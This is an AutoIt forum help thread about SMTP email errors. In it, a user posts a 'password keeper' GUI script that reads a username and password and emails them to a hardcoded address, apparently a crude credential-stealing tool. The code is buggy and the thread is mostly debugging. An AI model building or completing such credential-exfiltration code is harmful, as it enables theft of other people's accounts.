Jump to content

Im lost >;D help?


Recommended Posts

nope it's the same ;(

---------------------------------------------------------------------------------------------------------------->>>>>>| |My scripts: |Warcraft lll auto login -- an auto login to warcraft lll ;) |Wow auto login -- an auto login to wow ;) | |---------------------------------------------------------------------------------------------------------------->>>>>>|

Link to comment
Share on other sites

  • Replies 46
  • Created
  • Last Reply

Top Posters In This Topic

Top Posters In This Topic

Posted Images

nope it's the same ;(

Hmm.. I'm sorry to say that I'm giving up now..

I don't know why you can't find it in the help file. I have taken a screenshot of what stands in the helpfile and then you could use that.

Regards

And the example in the helpfile is:

#include <INet.au3>

$s_SmtpServer = "mysmtpserver.com.au"
$s_FromName = "My Name"
$s_FromAddress = "From eMail Address"
$s_ToAddress = "To eMail Address"
$s_Subject = "My Test UDF"
Dim $as_Body[2]
$as_Body[0] = "Testing the new email udf"
$as_Body[1] = "Second Line"
$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)
$err = @error
If $Response = 1 Then
    MsgBox(0, "Success!", "Mail sent")
Else
    MsgBox(0, "Error!", "Mail failed with error code " & $err)
EndIf

post-24573-1212753173_thumb.jpg

Link to comment
Share on other sites

ok now i really dont get it i still get hte error then trying to send :)

---------------------------------------------------------------------------------------------------------------->>>>>>| |My scripts: |Warcraft lll auto login -- an auto login to warcraft lll ;) |Wow auto login -- an auto login to wow ;) | |---------------------------------------------------------------------------------------------------------------->>>>>>|

Link to comment
Share on other sites

ok now i really dont get it i still get hte error then trying to send :)

It's really hard to help you when you don't explain more specific what kind of errors you get. is it when you try to compile the program? or is it when you try to send?.

In the code example I posted for you there was an error checking which will give you an error code number. you could try post the number of the error in here. then it's easier for the people in here to help you.

EDIT: or look in the help file by your self. and see what the error means. You couldn't find _iNetSmtpMail in the helpfile so I posted the screenshot above. look in that.

Edited by newbiescripter
Link to comment
Share on other sites

#include <INet.au3>

$s_SmtpServer = "mysmtpserver.com.au"

$s_FromName = "dannie"

$s_FromAddress = "dannie92dk@hotmail.com"

$s_ToAddress = "dannie93dk@hotmail.com"

$s_Subject = "password kepper"

Dim $as_Body[2]

$as_Body[0] = "Testing the new email udf"

$as_Body[1] = "Second Line"

$Response = _INetSmtpMail ($s_SmtpServer, $s_FromName, $s_FromAddress, $s_ToAddress, $s_Subject, $as_Body)

$err = @error

If $Response = 1 Then

MsgBox(0, "Success!", "Mail sent")

Else

MsgBox(0, "Error!", "Mail failed with error code " & $err)

EndIf

thats the code im trying now and then i get code error 3 and then im useing

#include <GUIConstants.au3>
#include <INet.au3>

Dim $getSelect1
Dim $getSelect2

#Region ### START Koda GUI section ### Form=
$Form1 = GUICreate("pass word and username keeper", 608, 428, 193, 125)
GUICtrlCreateInput("", 224, 192, 121, 21)
GUICtrlCreateInput("", 224, 240, 121, 21)
$Group1 = GUICtrlCreateGroup("pass word and username keeper", 112, 168, 273, 121)
GUICtrlCreateGroup("", -99, -99, 1, 1)
$Username = GUICtrlCreateLabel("Username", 152, 192, 46, 17)
$password = GUICtrlCreateLabel("password", 152, 240, 49, 17)
$accept = GUICtrlCreateButton("accept", 300, 300, 80, 30, 0)
GUISetState(@SW_SHOW)
#EndRegion ### END Koda GUI section ###

While 1
    $nMsg = GUIGetMsg()
    Switch $nMsg
        Case $GUI_EVENT_CLOSE
            Exit
        case $accept
            $getSelect1 = GUICtrlRead($Username)
            $getSelect2 = GUICtrlRead($password)
            $s_Subject = "Username is: " & $getSelect1 & @CRLF & "Password is: " & $getSelect2
            $response = _INetSmtpMail ( "192.168.1.1", "Password Keeper", "dannie92dk@hotmail.com", "dannie93dk@hotmail.com",$s_Subject)
            If $response = 1 Then
                MsgBox(0, "Success!", "Mail sent")
            Else
                MsgBox(0, "Error!", "Mail failed with error code " & @error)
            EndIf
            
            Exit
    EndSwitch
WEnd

im getting the error 4

---------------------------------------------------------------------------------------------------------------->>>>>>| |My scripts: |Warcraft lll auto login -- an auto login to warcraft lll ;) |Wow auto login -- an auto login to wow ;) | |---------------------------------------------------------------------------------------------------------------->>>>>>|

Link to comment
Share on other sites

EDIT: or look in the help file by your self. and see what the error means. You couldn't find _iNetSmtpMail in the helpfile so I posted the screenshot above. look in that.

hmmm cant read it :/

---------------------------------------------------------------------------------------------------------------->>>>>>| |My scripts: |Warcraft lll auto login -- an auto login to warcraft lll ;) |Wow auto login -- an auto login to wow ;) | |---------------------------------------------------------------------------------------------------------------->>>>>>|

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...